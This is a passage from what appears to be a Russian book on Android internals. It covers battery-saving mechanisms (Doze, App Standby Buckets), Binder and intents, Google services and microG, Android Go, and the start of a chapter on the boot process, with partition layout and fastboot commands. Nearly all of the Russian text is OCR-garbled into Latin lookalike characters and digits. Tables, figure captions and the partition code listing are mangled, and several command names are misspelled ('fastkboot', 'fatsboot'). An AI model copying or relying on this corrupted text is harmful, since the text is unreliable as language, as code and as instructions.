THTbCA BHOBB. Jlake Ha ryia3 3Ta BepcHs CHCTeMbl JkHia Ha GaTapelike 3aMETHO JoJibLIe
npeabLTyLIHX.

B mecroii Bepcun Google noua ewe nanpuie U ocHactuna Android Mmexanusmom Doze
(puc. 1.3), koTOpBIH MOCNEe HEKOTOPOro BpPEeMEHH HEaKTHBHOCTH cMapTdoHa (OKoJo
1 yaca) nepeBoaua ero B cneunanbHbI 3Heprocoeperatowuit pexxuM. OqHa U3 ocobeH-
HocTeit 3Toro pexxuma — 3anpet Ha wakelock, korna HU NpUNOXKEHHSA, HU CITYXObI Mpo-
CTO He MoryT pa30yauTh cMapTdOH, YTOObI BRIMOMHUTE Kakyto-1ubo pabory.
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3KpaH BbIKMO4YeH | OkHo oBeryHmBaHUA
3apsgHoe
YCTPOWCTBO

noaKioyeHo |
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iDOZE IDOZE
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Puc. 1.3. Wkana pa6ore Doze

H Bor, HakoHel, B Android 8.0 Google nomuia Ha paaMKaIbHbIH Lar — 3anpeT Ha pa6o-
Ty ¢oHOBBIX ci1y0. Ho ¢ nByMs HCKIOYEHHAMM:

1. B HekoTOpBIX Cily4asX, HapUMep, KOraa NMPUJIOXKEHHE HAXOAMTCA Ha 3KpaHe, OHO
MOJKET 3arycKath cyx6sl, HO Android mpu6keT X Nocne yxoJa NpHIOXKEHHSA B COH.

2. BuauMsie mosbp3oBateNio CIyxkObl 1O CHX MOp pa3pelleHbl. 3TO TaK Ha3bIBaEMbIi
foreground service — cnyx6a, koTopas BHAHA B MaHEIH ynenonvmeﬂnu H HMeeT
HKOHKY B cTatyc-6ape.

Euwe 6onee panukanbHas cucreMa nosiBwiach B Android 9. App Standby Buckets pacuun-

pser U pononHseT MexaHu3M Doze. Ero uaes coctout B ToM, 4TOOBI pa3iesuTh BCe

YCTaHOBJIEHHBIE Ha CMapT(OHE NPHWIOKEHHS Ha KATETOPHH B 3aBUCHMOCTH OT TOrO, Ha-

CKOJIBKO 4aCTO OHH MCIOJb3YIOTCH.

Bcero cyuuecTByeT naTh OCHOBHBIX KaTeropHi:

O Active — npuIOXEHHE HCMONb3YeTCs B AaHHBIH MOMEHT WJIM MCIONb30BalIOCh CO-
BCEM HEABHO;

0O Working set — yacTo HCHO/Ib3yeMbIE MPHIIOKEHHUS;

O Frequent — peryispHO HCMONb3yeMble NMPHIOXKEHHSA, HO HE 00fA3aTeNbHO KaXIbIA
J€Hb;

O Rare — penko HCrosb3yeMble MPHIOKEHHS;

O Never — npujioXXeHHe YCTAaHOBJIEHO, HO HU pa3y He 3aIyCKalocCh.

B npocreiimem cnyyae Android rpynnupyeT npwiokKeHHs MO KaTeropusaM, OCHOBBIBAACh
Ha BpPEMEHH MOCJIEHETO 3aMmycka, HO MPOM3BOJUTENL CMapTPOHAa MOXKET MCMOJb30BaTh
apyrue crnioco6sl rpynnupoBkd. Hanpumep, cmaptdonbl Google Pixel npumensior ans
3THX Lesied HEHPOHHYIO CETb.

B 3aBHCHMOCTH OT rpymnnbl CHCTEMa MPUMEHSAET K MPUJIOKEHHAM pa3/IHyHble OrpaHHYe-
HMS, BKJIIOYas OrpaHHYeHHs Ha 3amyck ¢oHoBBIX 3a1a4 (Jobs), cpabaTeiBaHHe TaliMepoB
(Alarm), noctynmHocth ceteBbix ¢yHkuui u push-yBenomnenunit (Firebase Cloud
Messaging — FCM, Ta6u. 1.1).

HHTtepecHblit 10604HbIH 3¢ deKkT 3TOH CUCTEMBI B TOM, YTO €CJIH BCE B3aUMOJEHCTBHE
TNOJIb30BATENA C MPHJIOKEHNEM OyIeT CBOAMTHCA TOJBKO K NMPOYTEHHIO M CMaXHBAHHIO
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Ta6bnuua 1.1. Firebase Cloud Messaging (FCM)

pynna Jobs Alarms CeTb FCM
Active Bes orpaHunyeHnin | Bes orpaHnyenHnin | Bes orpaHuueHnn | Bes orpaHuyeHuin
Working set 3apepxka 3apepxka Bes orpaHuyenun | Bes orpaHnyeHunin
A0 2 yacos Ao 6 MuHyT
Frequent 3apepxka 3apepxka Be3 orpaHnyeHunin 10 B A€Hb
Ao 8 vacos A0 30 MuHyT
Rare 3agepxka 3apepxka 3apepxka ao 24 5 B AeHb
Ao 24 yacos Ao 2 yacos vyacos

yBEIOMIJIEHHH, TO Yepe3 HECKONBKO QHEH MpHiIokeHHe neperaer B rpynmny Rare u Oyner
CEpPBE3HO YPE3aHO B BO3ZMOXHOCTAX.

Takoke CJIEAYET UMETh B BHAY, YTO IMPHUIIOXKEHHE HE 6y11eT YpP€3aHO B IpaBax, €CJIH OHO
)IOGaBJ'leHO B CMTHCOK MCKJIKOUEHHI CHCTEMBI 3Heproc6epe>|cel-mﬂ HIIN Te.]'le(l)OH HAaXOOHUTCA
Ha 3apsaake.

Eme 6Gonee arpeccHBHas cHCTeMa MOJABJIEHHS AKTHBHOCTH MPWIOKEHHH MOABHIACH
B Android 12. HauuHas ¢ 3toii BepcHH, TaBHO HEHCHONb3yeMble (pedb HIET O HeAensx)
MPHIOXKEHHUS Tenepb He MPOCTO Ype3aloTcs B BO3MOXHOCTAX, HO H TEPAIOT BbIIAHHBIE
MOJIb30BATENEM MPHUBHIETHH, YTPAuHBalOT BO3MOXKHOCTh OTIPABIATh YBEJOMJIEHHS, 3a-
myckaTh J100ble THMBI Cly*6 U ocTaBaThcs B MaMATH. Cpa3y nociie o4epeaHoro 3amycka
NPHIOXKEHHUS BCE OTPaHHYEHHS CHUMAIOTCH.

Binder

Bomnpeku pacxoxxeMy MHeHHIO, Android ¢ caMbIx MepBbIX BepCHH HCIONb30Ba MECOY-
HHULBI UIS M30JAUMH npunokeHuid. M peanuzoBaHel OHM ObLIM BECbMa HHTEPECHBIM
obpazoM. Kaxxoe npuiaoxeHHe 3amyckanoch OT HMEHH OTAENbHOro noses3oBatens Linux
U, TAKMM 00pa3oM, HMeJIO IOCTYI TOJIBKO K CBOEMY KaTaslory BHYTpPH /data/data.

JIpyr ¢ IpyroM U onepaLMOHHOMH CHCTEMO# MPUJIOKEHHUS MOTJIH 00ILATECS TOJIBKO Yepe3
[PC-mexanu3m Binder, koTopslit Tpe60oBas1 aBTOpH3aLIMIO Ha BHIMOJHEHHE TOTO MWK MHO-
ro pedictBui. B Android Binder ucnone3oBancs U mpogo/mkaeT MCMOIb30BaThCA OYK-
BaJIbHO I BCETO: OT 3amycka MpPHJIOKEHHH 10 BbI30Ba (QYHKUHMI OnepaLMOHHOH cHc-
TEMBI.

Android crpoeKTHpPOBaH Tak, YTO MOJB30BATENH M AAKE MPOTPAMMHCTHI HE JOTA/BIBA-
I0TCA O CyLIeCTBOBaHMM MexaHu3Ma Binder. Ecnu, HanpuMep, nporpaMMHCT XO4eT CKO-
nupoBaTh TeKcT B 6ydep oOMeHa, OH MPOCTO MOJIyHaeT CChUIKY Ha OOBbEKT-CEPBUC H BbI-
3bIBa€T OAMH U3 ero MetoaoB. [loa kamotoM ¢peiiMBOpK mpeobpa3yeT ITOT BBI3OB B CO-
obmenue Binder u ornpaenser ero B aapo uepe3 (aiin-ycTpoHCTBO /dev/binder. 3TO
coobLieHHe mepexBaThiBaeT Service manager, KOTOPbI HAXOIUT B CBOEM KaTajore cep-
BHc Oydepa o6MeHa, mpoBepseT MOTHOMOYHS MPHIOXKEHHS Ha OTIPABKY €My COOOLIEHHI
H, €CIIH OHO UMeeT Bce HeoOXoaMuMBbIe MpaBa, nepenaer coodueHue eMy. [locne momyye-
HHA U 06paboTku coobiueHus cepsuc 6ydepa o6MeHa OTNpaBlISET OTBET, HCMONB3Ys BCE
ToT >¢e Binder.
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KpoMe cTaHnapTHbIX MpoBepok noiHoMouui Service Manager Takoke NpoBepseT, HMEET
JIM MPUJIOXKEHHE MPABO Ha CO3JaHHE CEPBHCA M MOXKET JIM OHO MCIMOJb30BaTh PAI «OMac-
HbIX cepBHcoB». H nepBoe, 1 BTOpoe oCylUEeCTBIAETCA C MOMOLLBIO MPOBEPKH 3HAYEHHA
UID (upentudukatop nonb3oBarens) Bei3biBatowero mnpouecca. Ecim UID Gonbiie
10000 — npunoxeHHe He UMEET MpaBa PErUCTPUPOBATh HOBBII cepBHUC (BCE CTOPOHHHE
npunoxenus B Android nonyyator UID Gonswe 10000), a ecnu UID Haxogutcs B paiio-
He 99000-99999, npunoxeHne Nony4yaeT orpaHH4eHHUE Ha UCIMOJIb30BaHUE OMACHBIX Cep-
BUcoB. IMeHHO B 3Ty rpynny nonagarot Biuiaaku 6payzepa Chrome.

OTOT ke MEXaHM3M MPUMEHAETCA U A HECKOJIBKO APYTHX LiEJIEi: C ero MoMolLbio CHC-
TeMa OMOBELLAET MPHIOKEHHUA O CHCTEMHBIX COOBITHAX, TAKMX KaK BXOIALUMHA BbI3OB,
npuwenee SMS, noaxnoyeHne 3apsaaky U T. A. [IpunoxeHus nomyyaroT cooblueHus U
MOrYT Ha HUX pearupoBath (puc. 1.4).
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Puc. 1.4. Pa6oty Binder o6ecneuunsalor gpavisep B sape Linux u Service Manager

Ota ocobeHHocTh Aana Android HpokHe BO3MOXHOCTH aBTOMATH3aLMH, O KOTOPBIX MbI
3HaeM 6naronaps TakMM npunokeHusM, kak Tasker, Automate unu Locale. Bece atu npu-
JI0XEHUA AocTynHbl WA Android M ceroaHs, pa3Be 4YTO HEKOTOPbIE OMACHBIE BO3MOXK-
HOCTH, TaKHe KaK BIJIFOYEHHE/BBIKIIOYEHHE PEXKUMA M0JIETa, TEMEPh 3anpeLleHbl 11 1c-
N0JIb30BaHUA OOBIYHBIM MPHIIOKEHHAM.

CucreMa onoBelleHUs 6a3upyercs Ha MHTEHTax (intent), ceLMaIbHOM MEXaHU3ME, pea-
nu3oBaHHOM noBepx Binder. UHTeHTBI NpeaHa3HayeHsl s oOMeHa HHGopMalveil Mex-
ny npunoxeHusMH (w1 OC U NpHIoKEHUAMH), a TAKOKE 3aMycka KOMIIOHEHTOB MPHIIO-
seHui. C MOMOLIBIO HHTEHTOB MOXKHO OMOBELLATh MPHIOKEHHUS O COOBITHAX, MOMPOCHTh
CHCTEMY OTKPbITh MpPUJIOXKEHHE 1 06paboTKH onpeneneHHbIX THIOB JaHHBIX (HANpH-
Mep, 4TOObI OTKPBITH OMNpeleNeHHYIO CTpaHHULy B Gpa3yepe, JOCTaTOYHO MOCNIATh LIKPO-
KOBELLATENbHBIA HHTEHT CO CCHUIKOM Ha CTPaHMIY, M Ha HEro OTKJIMKHYTCA BCE MpPHUIIO-
JKEHHA, crIocoOHbIe oToOpakaTh BeO-cTpaHHLbl, TH60 TONBKO AedonToBbIi Opay3ep) WiH
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MpOCTO 3aMyCTHTh KOMIIOHEHT TOr0 HJIH HHOI'O MPUJIOXKEHHA. B YaCTHOCTH, 3aITyCK IpH-
JoxxeHuit B Android OCYLIECTBJIAECTCA HE HAIIPAMYHO, @ C MIOMOLLBKO HHTEHTOB.

K coxanenuto, kak 1 ciyxObl, HHTEHTBI cTanu npobiaemoii s Google u nons3oBarenei
Android. [Ileno B TOM, 4TO LUMPOKOBELIATEIbHbIE HHTEHTBI, HCMOJIb3yEMbIE AJIS YBEAOM-
JIEHHUS TIPUJIOKEHHH O COOBITHAX, MPUXOIAT cpa3y KO BCEM IMPHIIOKEHHAM, KOTOpbIe
3afBWJIM, YTO CMOCOOHBI Ha HHMX pearupoBaTh. A 4TOOBI MPHIOKEHHE CMOIJIO CpearH-
poBaTh Ha MHTEHT, €ro Hajo 3amycTuThb. KapTHHa nomyuaercs Takas: Ha cMapTdoHe
ectb 20 MpUIIOXKEHHH, KOTOpBIE MOrYT peardpoBaTh Ha MHTEHT android.net.conn.
CONNECTIVITY CHANGE, H MpPH Ka)XIOM MOAKIIOYEHHH/OTKIIIOYEHHH OT CETH CHCTEMA 3aIyc-
KaeT 3TH MPUIIOXKEHHUS, YTOOBI OHH CMOTJIM CpearupoBaTh Ha HHTEHT.

Google ucrpaBuna 3to HenopazyMeHue B Android 8.0. Ternepb MpuI0XKeHHUS MOTYT peru-
CTpHpoBaTh 00pabOTYMKHM LUMPOKOBELIATEIbHBIX WHTEHTOB TOJIBKO BO BpEMS CBOEH
paboThI (32 HEOOABLUMMHU HCKITIOYEHHSMH).

Cepsucer Google

Google MpenoIHOCHT OTKPBITBIA MCXOAHBIA KOA KaK OJHO M3 BaKHEHIUMX JOCTOMHCTB
Android. 3to, koHeuHO xke, He coBceM Tak. C omHOH cTopoHsl, koA Android aeicTBH-
TEJIbHO OTKPBIT,  HMEHHO MO3TOMY MBI HMEEM JOCTYI K TaKOMY KOJIHYECTBY pa3HOOO-
pa3HbIX KacTOMHBIX npowuBok. C npyrod ctopoHsl, cobpaB Android u3 opHLHaTBHBIX
MCXOJHHKOB, MOJIb30BaTEb MOIYYHUT CHCTEMY Oe3 ABYX BaXKHBIX KOMITOHEHTOB:

a HEKOTOPBIX HpaﬁBCPOB, HCXOOHBIE KOAbI KOTOPBIX ABJIAKOTCA KOMMep‘{CCKOﬁ TaﬁHOﬁ;

O cepeucos Google, kOTOpbie HYXHBI B MIEPBYIO0 OYepeab AJs MONy4YeHHs AOCTyNa K aK-
KayHTy, 3anmycka Google Play u obnauHoro 6ekana.

Cepeuchl Google (Google Mobile Services) Taioke OTBe4YaloT 3a MHOTHE pyrye BELLH,
BKJIFOYas mojaepxkky push-yBenomienui, Instant Apps, Google Maps, noctyn k kaneH-
Aaplo, ornpeaeneHHe MECTOMONIOKEHHS MO COTOBBIM BbilikaM M Wi-Fi-poytepam, mexa-
HU3M Smart Lock, no3sonstomuii pa3610KHpoBaTh YCTPOHCTBO B 3aBUCHMOCTH OT HEKO-
TOPBIX YCJIOBHIA, U MHOTO€ JIpyroe.

B coBpemenHbix Bepcusx Android cepsucel Google (puc. 1.5) B3siu Ha cebst HACTONBKO
Gonblyl0 YacTh paboThl, YTO XKHUTh 0€3 HUX OKa3bIBAae€TCS XOTA MU BO3MOXKHO, HO OYEHb
npobiaeMaTHyHO. A C HUMM TOXE HEBECENO: MHUHHMMalbHBIH BapHaHT MakeTa gapps
(xoTopeiii comepxuT Todbko cepBUCH Google u Google Play) umeer pasmep moutu
100 M6aiit, a caMu cepBHCHI ClIaBATCS CBOEH JII0OOBBIO k OonepaTHBKe M 3apsny 6atapew.
A elle OHH 3aKpBITHI, T. €. 0 TOM, YTO OHH MOTYT J€JIaTh, 3HAET TOJBKO caMa KOpropaLus
Google. '

HNmenHo mosToMy Ha cBeT nosBuiics npoekT microG (https://microg.org/), 3agaya koro-
poro — BOCCO31aTh caMbli BakHBIH ¢yHKIHMOHan cepBucoB Google B OTKpBITOM KoOZe€.
Vxe ceituac microG mo3BoJiSET MOMYYUTH JOCTYM K CBOEMY aKKayHTY, aKTHBHPOBATb
push-yBenoMiIeHHs M onpeaeseHHe MECTOIMOJIOKEHHS MO COTOBBIM BhiLikaM. K Bce 31O
npu pa3mepe B 4 MOaHT M MOYTH MOJIHOM OTCYTCTBMH TpeOOBaHMH K ONEpaTHBKE W
pecypcy 6arapew.
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Platform: Android:
O ARMEz O 8.0e O aromaz Open GApps News
® ARM64 ® 7.9¢
Femto package
O x86e O 7.0e
QO x86_64 O 6.0e
@ Please Donate!

6 January 2018
Size:117.78 MiB

Puc. 1.5. CkauaTtb naket c cepeucamu u npunoxeHunamu Google anA KaCTOMHON NPOLUNMBKN
MOXHO C CaiiTa opengapps.org (CNoBO «Open» He 03HAYaeT, YTO OHM OTKPbITbI)

Y npoexTa ectb cobcTBeHHas coopka npouinBkH LineageOS (https:/lineage.microg.org/),
KoTopas U3 kopobkH BiitouyaeT B cebs MicroG u Bce HeobxoauMble ans ero paboTsl Mo-
OUpHKaLHH.

Aapo Linux u paHTaum

Android ocHoBaH Ha sape Linux. Sfinpo ynpasnseT pecypcamu cMapTdoHa, B TOM YHCJe
JOCTYNOM K >Kefe3y, OnepaTHBHOH M NMOCTOAHHOH MaMsATbIO, 3aMyCKOM, OCTAHOBKOH H
NepeHOCOM MpOLIECCOB MeX Y AApaMH NMpoLieccopa ¥ MHOTMMH ApYrumH 3aaadaMu. Kak
1 B moboii apyroii OC, aapo — 310 cepaue Android, ueHTpaibHas 4acTb, 6e3 KOTOpOH
BCE OCTaIbHOE pa3BAJIMTCA Ha YacTH (pHc. 1.6).

Hanuuue sagpa Linux, a Takoke 4aCTHYHO COBMeCTHMO# co ctanaaptoM POSIX cpensi
MCroJIHeHHUs (B mepBylO ouepedb 3TO0 GMGnHoTeka bionic, OCHOBaHHas Ha peanu3alMH
craHzapTHoi Oubnuoreku s3bika Cu u3 OpenBSD) menaer Android coBmMecTHMBIM
c npuinoxeHuamu ans Linux. Hanpumep, cHcTema ayTeHTH(HMKaUMH wpa supplicant,
npuMeHseMas ans noaxmoyeHus Kk Wi-Fi-ceTam, 1o HenaBHero BpeMeHH ObLla TOYHO
Takas ke, kak B mobom auctpubyTtuBe Linux. PaHHue Bepcun Android ucnonb3oBanu
craHpaptHbiii bluetooth-crexk Linux mon Ha3zBaHuem bluez (mo3xe ero 3aMeHWnIH Ha
peanuzauuio ot Qualcomm noxn Hazeanuem bluedroid). B Android ectb cBosi kOHCONIB
¢ HabopoM craHpaptHeix UNIX/Linux koMaHza, peanu3oBaHHbIX B Habope Toybox
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Meremxepbi !

3 )

Puc. 1.6. CnoeHblit nupor Android
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(http://www.landley.net/toybox/), H3HayanbHO CO3JaHHOM [/ BCTpauBaeMbIX Linux-
CHCTEM.

BONBIINHCTBO KOHCOJNBHBIX MPUJIOXKEHHH, HAaMUCaHHBIX 1UIA Linux, MOXXHO MOpPTHpPOBATh
B Android mpocTo#i nmepekOMMWIALMEH C MOMOIUBIO Kpocc-KOMMUiasATopa (rjiaBHoe —
HCMOJIb30BaTh CTATHYECKYI0 KOMITWIALIMIO, YTOOBI HE MONYYHTh KOHQIHKT OUbIHoTEK),
a uMes MpaBa root Ha yCTpOiCTBe, MOXKHO 6e3 npobneM 3amycTUTh MOJHOLEHHBIA ANUCT-
pubytuB Linux (puc. 1.7). EnnHcTBeHHas mpo6iieMa 3aknioyaeTcs B TOM, YTO AOCTYII
K HeMy MoOxHO 6yaer monyuutb JuOo vepe3 koHcoib, 160 ucnonsldys VNC-coeau-
HEHHE.

i z¢ Modify time n Home: Size
UP--DIR |Jun 25 18:27||/ UP--DIR | ¢
4896 | Jun 25 18:18/| | /. cache 4096 | Jur
4896 | Jun 25 18:35( | /.config 4896 | Jur
4896 | Jun 25 18:18( /. local 4096 | Jun 22

lwlmllvlm /83419 Jun 25 18:18

Puc. 1.7. Ctapbiit 406pbit Mc, 3anyweHHbid B Android

Android 60

B pa3gene, nocesiweHHOM ciyx6aM, Mbl 06cyxaanu, kak Google 6opercs ¢ TOKCHYHBIMH
MPWIOXKEHHAMH, 3J10yNnoTpebnsAomMUMH pecypcamMu cMapTdoHa. Bece Meroasl 60pb6bl
OCHOBaHbI Ha orpaHH4eHusx, npuyeM y Google ectb c6opka Android c ewe GonblMMU
orpannyeHusAMH. OHa Hocut uma Android Go ¥ npeaHa3HauyeHa B MEPBYIO o4epelb Lis
yctpo#ictB ¢ 1 I'6 onepaTuBHOM NaMATH U MEHBILE.

Knrouessle oTiinyns Android Go ot nmonHoueHnHoro Android:

O EnuHcTBEeHHOe 3aMmeTHoe monb3oBartento orinyve Android Go ot ob6biuHOro
Android — gu3aiiH 5kpaHa 3amylIEeHHBIX NMPHJIOXKEHHUH, KOTOPBIH MOKa3bIBAET BCETO
YeThIpe MOCIEAHHX MPHIIOKEHHUA.

O B Android Go oTkmOYEHBI HEKOTOpble HEHYXHbie OOJIBIIMHCTBY IMOJb30BaTeNEH
¢yHkunu: Daydream VR, ¢yHkuus pasnenenus skpana, nogaepxka Android Auto u
Android Wear, Android for Work.
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O Io ymonuanuio B Android Go oTkiroueHo 1HdpoBaHHe, OTHAKO HEKOTOpBIE YCTPO#i-
CTBa MO3BOJIAT €r0 BKJIKOUHTb.

O Android Go ropasno 6onee arpeccBeH B YHHUTOXXEHHH (OHOBBIX MPHIIOKEHHH (OH
cTapaertcs yOpaTh U3 MaMATH BCE, YTO HE CBS3aHO C CaMO ONepaLHOHHOH CHCTEMOH).

O B Android Go no ymonyanuio BkirodeH zZRAM, cxxuMaroinuii JaHHbIE B ONEPaTHBHOM
NaMsTH U1 €€ 3KOHOMHH.

O HekoTopslie npeaycraHoBieHHble npuiioxkeHus Android Go — 3To BeO-npHIIOXKEHMS,
a Ipyrue NpHIOKEeHHs CHIIBHO ype3aHBl.



FMABA 2

https://t.me/it_boooks/2

OT KHONKW BKNFOUYeHUsa
Ao pabouero crona

Jlyqmu#t cnoco6 MoHATh, Kak paboTaeT onepalMOHHAas CUCTEMA, — H3YYHTh NPOLIECC €€
3arpy3kd. B HEKOTOpBIX Cllydasx C/eNaTh 3TO 3aTPYAHHTENBHO, T. K. KOJ CHCTEMBI MOXET
OBbITH 3aKphIT, HO B ciiy4ae Android Mbl MOXXEM M3y4YHMTh BCIO CHCTEMY BIOJb H MOMNEPEK.
B a10i1 rnmaBe Mbl MOroBOpHM O TOM, Kak BbinosiHsercs 3amyck OC u kakue coObITHA
MPOUCXOJAT B MPOMEACYTKE MEXIY HaXKaTHEM KHOIKH IHUTAHHUA U MOSBIEHHEM paboyero
cTona.

HOH}’THO b | 6y11y JaBaTb INMOACHCHHA OTHOCHTCJIBHO TOIro, 4YTO MBI MO>XEM H3MCHHUTH
B 3TO# LIEMOYKe COOBITHH M Kak pa3pa601‘quxﬂ KaCTOMHBIX TNPOLIHUBOK HCIIOJIB3YIOT 3TH
BO3MOX>KHOCTH IJid p€ajiu3allid TaKHX Bemeﬁ, KaK THOHHHI I1apaME€TpOB OC, paclIMpE€HHE
MpOCTpaHCTBA Ui XpaHCHHUA nppmoxceuuifl, NOAKIIFOYEHHE SWwWap, pa3JIHYHbIX KaCTOMH3a-
LM ¥ MHOroro Apyroro. Bcro Ty umbopmaumo MO>XXHO HCIIOJIB30BaTh JId CO3JaHHA
COOCTBEHHBIX NMpPOLIHUBOK U p€aIu3aliii pa3IMYHbIX XaKOB H MOI[HCbHK&LIHﬁ.

War nepstris. Aboot u Tabnuua pasaenos

Bce HaunHaercs ¢ 3arpy3uuka. [locne nogayu NMUTaHUS CHUCTEMAa HAYMHAET CBOIO XKH3HB
¢ ucnonHeHHus kozxa boot ROM, 3anucaHHOroO B MOCTOSHHYIO, HEMIEPE3ANUCHIBAEMYIO Ma-
MATh yctpoicTBa. Boot ROM wuzenekaer u3 NAND-namatu ycrpoiicTBa 3arpy3uvk H
nepeaeT ynpasieHHe eMy. Yaiue Bcero posib 3arpy3qdka BBITIOJIHAET 3arpy3ydk aboot
CO BCTPOEHHO#H moauiepkkoi nmpoTtokona fastboot, Ho mpou3BoaUTENE MOOGHIIBHOTO YHIIA
WM cMapT¢dOHa/IIIaHIIeTa UMEET NPaBo BhIOPATh M000H Ipyroi 3arpy3uHk Ha ero BKYC.
Tak, Hanpumep, xomnanus Rockchip wucnonedyer coOGCTBEHHBIH, HECOBMECTHMBIMH
¢ fastboot 3arpy3uuk, A1 nepenporpaMMHpOBaHHs H YIIPaBJI€HHUS KOTOPbIM MPUXOAUTCA
HCIONB30BaTh MPONPHETapHbIE HHCTPYMEHTBI.

[Mporokon fastboot, B cBolO Ouepenn, NpeacTaBiseT coboi cUCTEMy yNpaBieHHs 3arpy3-
yukoM ¢ ITK, koTopas no3Bo/s€T BBHINONHATH TaKHE NEHCTBHA, KaKk pa3OiIOKHpOBKa 3a-
rpy34HKa, NpOLIMBKAa HOBOTO fA/ipa M recovery, yCTaHOBKAa NMPOLIMBKH H MHOTHE JpyTHE.
Cwmbicn cymectBoBaHus fastboot B TOM, 4ToGBI MMETH BO3MOXXHOCTh BOCCTAHOBHMTH
cMapT¢OH B Ha4aIbHOE COCTOSIHHE B CHTYallHH, KOT/a BCE OCTalIbHBIE CPEACTBA He pabo-
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tatoT. Fastboot octaHercs Ha MecTe, naxke ecliM B pe3y/bTaTe IKCMEPUMEHTOB Thl CO-
Tpellb co cMapTdoHa onepaLoOHHYIO CHCTEMY.

[MonyunB ynpasneHue, aboot mpoBepseT Tabauly pa3fenoB MW MepenaeT ynpasieHHE
AApY, MPOLWKTOMY B pa3zen ¢ HMeHeM boot, moce yero sApo HauWHAEeT 3arpy3ky Jubo
Android, 1160 KOHCO/IM BOCCTAHOBJIEHHA.

NAND-namsats B Android-ycTpoiicTBax noaesneHa Ha ceMb yCIOBHO-00s3aTeNIbHbIX pa3-
nenos. HekoTtopele U3 HUX 1yOIUpYIOTCS, €ClIM YCTPOHCTBO HCMONBb3YeT Tak Ha3biBae-
Myto A/B-pa3MeTky pas3iesioB, KOraa Ha HeM OJHOBPEMEHHO YCTAHOBIEHbI [IBE€ KOMHH
OnepaLUMOHHOH CHCTEMBbI, KOTOpblE MEHSIOTCA MecTaMH npH obHoBineHHuH (06 A/B-pas-
MeTKe Mbl noipoOHee NOroBOpUM uyTh nodxe). Bot aTu pasaensi:

O boot — conepxut sapo 1 RAM-auck, Ha ycTpoiicTBax ¢ A/B-pa3meTkoit Takxke co-
JeP>KHUT KOHCOJIb BOCCTAHOBJIEHHS (recovery);

O recovery — KOHCOJIb BOCCTaHOBIIEHHs, COCTOMT M3 sAapa, Habopa KOHCOJBHBIX NMpH-
JoXeHHi U daiina HacTpoek, pa3aen OTCYTCTBYET Ha ycTpoicTax ¢ A/B-pa3merkoi;

3O system — coaepxut camy OC Android, cucteMHble GHOIHOTEKH, CHCTEMHBIE NPHJIIO-
)KE€HHsl, CTAaHapTHbIE PUHITOHBI, 00OH U T. A.;

O cache — pasgen npeaHa3HaueH A8 XpaHEHHs KELWIMPOBaHHBIX JAHHBIX, HarnpHMep
¢aiina oOHOBNEHHS, OTCYTCTBYET Ha ycTpoicTBax ¢ A/B-pa3meTkoi;

O vendor — conepkHT ApaiiBepbl U Bce HEOOXOAHMBIE MPOCIOHKH A1 paboThl ¢ wke-
ne30M»;

O userdata — COAEPKHUT HaCTpOﬁKH, MPHIIOKEHHA H JaHHBIE NMOJIB30BATENIA;

O vbmeta — cneuunansHbiii pazaen ans Android Verified Boot 2.0, conepxauumii kKoH-
TPOJIbHBIE CYMMBbI KOMMOHEHTOB CHCTEMBI.

KpoMe HuX Takxke MOryT CylUecTBOBaTb M ApYyrue paszesnbl, ofHako obuias pa3merka
ornpeeNseTcs elle Ha 3Tane NpoeKTHpoBaHHUs cMapTdoHa (puc. 2.1).

static ruet partition partitions(] = {
§"-F, 128 1,

{ "xloader", 128 1},

{ "bootloader”, 256 1},

/% "misc" partition is required for recovery =/

{ "misc", 128 1},

{"-", 384,

{ "efs", 16384 1},

{ "recovery”, 8x1824 },

{ "boot", B%1824 },

{ "system", 512%1824 1},

{ "cache", 256%1024 1},

{ "userdata", 8},

{8, 8)

} 5

Puc. 2.1. YacTb koaa 3arpy3yuka, onpegenstoLas tabnuyy pasgenos

OcobeHHO MHTepeceH pa3zgen misc. CyliecTByeT npeanonoxeHHe, 4To M3HayajlbHO OH
OblT cO3aaH A1 XpaHEHHs Pa3IHYHBIX HACTPOEK HE3aBUCHMO OT OCHOBHOH CHCTEMBI, HO
B JaHHbIIt MOMEHT HCMOJIb3YeTCs TOJbKO A/ OJHOM LieJIH: yKa3aTh 3arpy34HKy, U3 Kako-
ro paszena Hy»HO Irpy3uTb CHCTEMY: boot WK recovery. 3Ty BO3MOXHOCTb, B YaCTHO-
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CTH, ucronsdyeT npunoxkeHue ROM Manager nns aBToMaTH4eckol nepe3arpy3ku cHc-
TEMBI B r€COVEry ¢ aBTOMAaTH4YeCKOH ke ycTaHOBKOH npowuBkH. Ha ee ke ocHoBe Obu1
NMOCTpOeH MexaHu3M JBoHHOMH 3arpy3ku Ubuntu Touch, koTopas npolinBaer 3arpy3unk
Ubuntu B recovery 1 no3BoJii€T ynpaBisTh T€M, KaKyl0 CHCTEMY Tpy3HThb B CleqyIOLIHH
pa3. Crep pazmen misc — 3arpyxaetcs Android, 3anosiHuWI AaHHBIMH — 3arpy»xaercs
recovery... T. €. Ubuntu Touch.

YroObl monyuuth goctyn K fastboot, Heobxogumo ycrtaHoButh Android SDK, moakito-
yuth cMapTdoH k [1K ¢ nomoupto kabens ¥ BKIIOUUTD €ro, 3akaB 00e KHOMKH MPOMKO-
ctu. [locne 3roro cnenyer nepelTH B MoaKaTaior platform-tools BHyTpH SDK u 3amyc-
THUTb KOMaHYy:

fastkboot devices

Ha skpan Gyner BbIBeneHO MMs ycTpoHcTBa. [[pyrue KoMaHIbl, JOCTYMHbIE B 3TOM pe-
KHUME:

3 fatsboot oem unlock — pa3zdnokupoBka 3arpy3urka Ha ycTpoHcTBax Nexus;
O update @aiti.zip — ycTaHOBKA NPOLUMBKH;

3 flash boot boot.img — npowmnBka obpasa boot-paznena;

3 Alash recovery recovery.img — npoluMBKa obpasa pa3saena recovery;

O flash system system.img — npolIuBKa o0paza CUCTEMBI;

3 boot recovery.img — 3arpy3ka obpasa recovery 6e3 NpOLIHBKH;

O oem format — BOCCTaHOBJEHHE pa3pyLUEHHOH TabNHULIbI pa3esos;

O reboot — nepe3arpyska.

War sTopoii. Paspen boot

B cnyuae orcytcTBHs «dnara 3arpy3kH B recovery» B pasielsie misc 3arpy3uyHK nepeiaet
yrnpaBieHHe KOy, pacroyioxXeHHOMY B paszaene boot. 3To He uTO WHOe, kak aapo Linux;
OHO HaxOAMTCS B Hayaje pa3jiena, a cpa3dy 3a HUM CledyeT YNakoBaHHBIH C MOMOLIBIO
apxuBaToOpoB cpio U gzip 06pa3 RAM-aucka.

B tepmuHonoruu Linux RAM-auck — 3T0 cBOero pona BUPTYasibHBIH XECTKUH AMCK,
CYLUECTBYIOUIMH TONBKO B onepaTtuBHOM namsatH. B Android oH ucnons3yercs ans pas-
